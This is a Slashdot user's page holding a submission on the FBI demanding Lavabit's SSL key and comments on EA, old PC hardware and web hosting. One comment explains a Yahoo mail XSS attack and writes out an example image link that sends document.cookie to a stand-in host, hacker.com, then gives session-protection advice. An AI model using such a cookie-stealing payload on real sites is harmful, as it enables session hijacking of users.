Want to read Slashdot from your mobile device? Point it at m.slashdot.org and keep reading!

 



Forgot your password?
typodupeerror
×

Submission + - Lavabit Case Unsealed: FBI Demands Companies Secretly Turn Over Crypto Keys (wired.com)

jest3r writes: Lavabit won a victory in court and were able to get the secret court order unsealed. The ACLU's Chris Soghoian called it the nuclear option. The court order revealed the FBI demanded Lavabit turn over their root SSL certificate, something that would allow them to monitor the traffic of every user of the service.

Lavabit offered an alternative method to tap into the single user in question but the FBI wasn't interested.

Lavabit could either comply or shut down. As such no US company that relies on SSL encryption can be trusted with sensitive data. Everything from Google to Facebook to Skype to your bank account is only encrypted by SSL keys, and if the FBI can force Lavabit to hand over their SSL key or face shutdown they can do it to anyone.

Comment Re:Ahh, Pentium. (Score 1) 197

Those were the good 'ole days. My CPU path was something like this:

486 DX2/66 -> Pentium Overdrive -> Pentium 200 -> Pentium Celeron 300A (over clocked to 450) ......

Video cards went something like:

Matrox Millenium -> Diamond Monster 3D -> 3DFX Voodoo II x 2 ......

Comment Re:Not a new exploit (Score 2) 50

All the hacker has to do is embed a link or image into an email and send that email to the Yahoo account of the victim. The victim then logs in and clicks the link or views the images. Assuming Yahoo doesn't filter out he embedded code the hackers gets the victim's cookies.

Simplified example:
Embedded image src in email: http://www.hacker.com/cookieparser.php?default=<script>alert(document.cookie)</script>

Obviously more complicated because you need to mask your embedded code to get through the filters but that is the basis of the XSS hack that has been hitting Yahoo all year ...

And because the sessions on the server never expire the hacker can gain access. I'm not sure how https would help in this scenario.

- Basically you need to pass a salted, hashed version of the session ID or random string (as a hidden form field) on all page views or form submissions and check that against both the session cookie and the hidden form field to make sure the cookie is coming from the original source (since there would be no way for the hacker to get that string as well). And invalidate the session if it doesn't match up. Also expire and delete the sessions after 6 hours of inactivity would help as well.

Comment Re:IANAL: DMCA and Trademark Infringement (Score 1) 232

If you own a Review Website ... time to move the hosting outside of the USA.

Why does the hosting provider have to get involved anyways? Isn't the content of the website the responsibility of the domain owner? Someone please explain why the hosting company would have shut the entire website down if they didn't remove the page?

Comment Re:Tipping point ... (Score 1) 427

No-one said it was a conspiracy. SimCity was just the tipping point.

EA has made MANY terrible decisions over the past 5 years. No conspiracy ... just a company out of touch with reality and losing touch with their core market. CEO gets fired.

Madden continued to be a strong NFL sports franchise because there's no other official NFL games anymore ...

Comment Re:Finally! (Score 5, Informative) 427

Riccitiello's 10-point plan to Success

1. Buy Franchise
2. Water Down Experience for Casual Players
3. Add Online
4. Add Co-op
5. Add Gritty Camera Filters
6. Overwork Developers
7. Pretend Game is Finished
8. Add DLC / Make Old Features New by Converting Them to DLC
9. Pay for Good Reviews
10. Hype the Fuck Out of The Game

Comment Re:Tipping point ... (Score 2) 427

Ultimately, EA's problem with SimCity was that they had too many paying customers.

Uh no. Their shares have been at sitting at all time lows since 2008 and John Riccitiello with whom they brought in to fix things has shit the bed. There is more bad news on the revenue front coming soon (as the press release indicates).

Riccitiello destroyed the NFL franchise, killed almost every other big name game (Command and Conquer, Mass Effect), bet the bank on Spore and lost, and oversaw the launch of a bug-plagued online service that is now shutting down more old games that people purchased than launching new ones.

 

Comment Tipping point ... (Score 5, Insightful) 427

SimCity was the tipping point.

Remember, EA was recently ranked as the Worst Company in America. Gamers have been complaining about EA way before SimCity. Like when EA negotiated an exclusive rights deal on all NFL games and then churned out the worst NFL games for years and years to come. They have ruined many, many franchises.

Slashdot Top Deals

"Here's something to think about: How come you never see a headline like `Psychic Wins Lottery.'" -- Comedian Jay Leno

Working...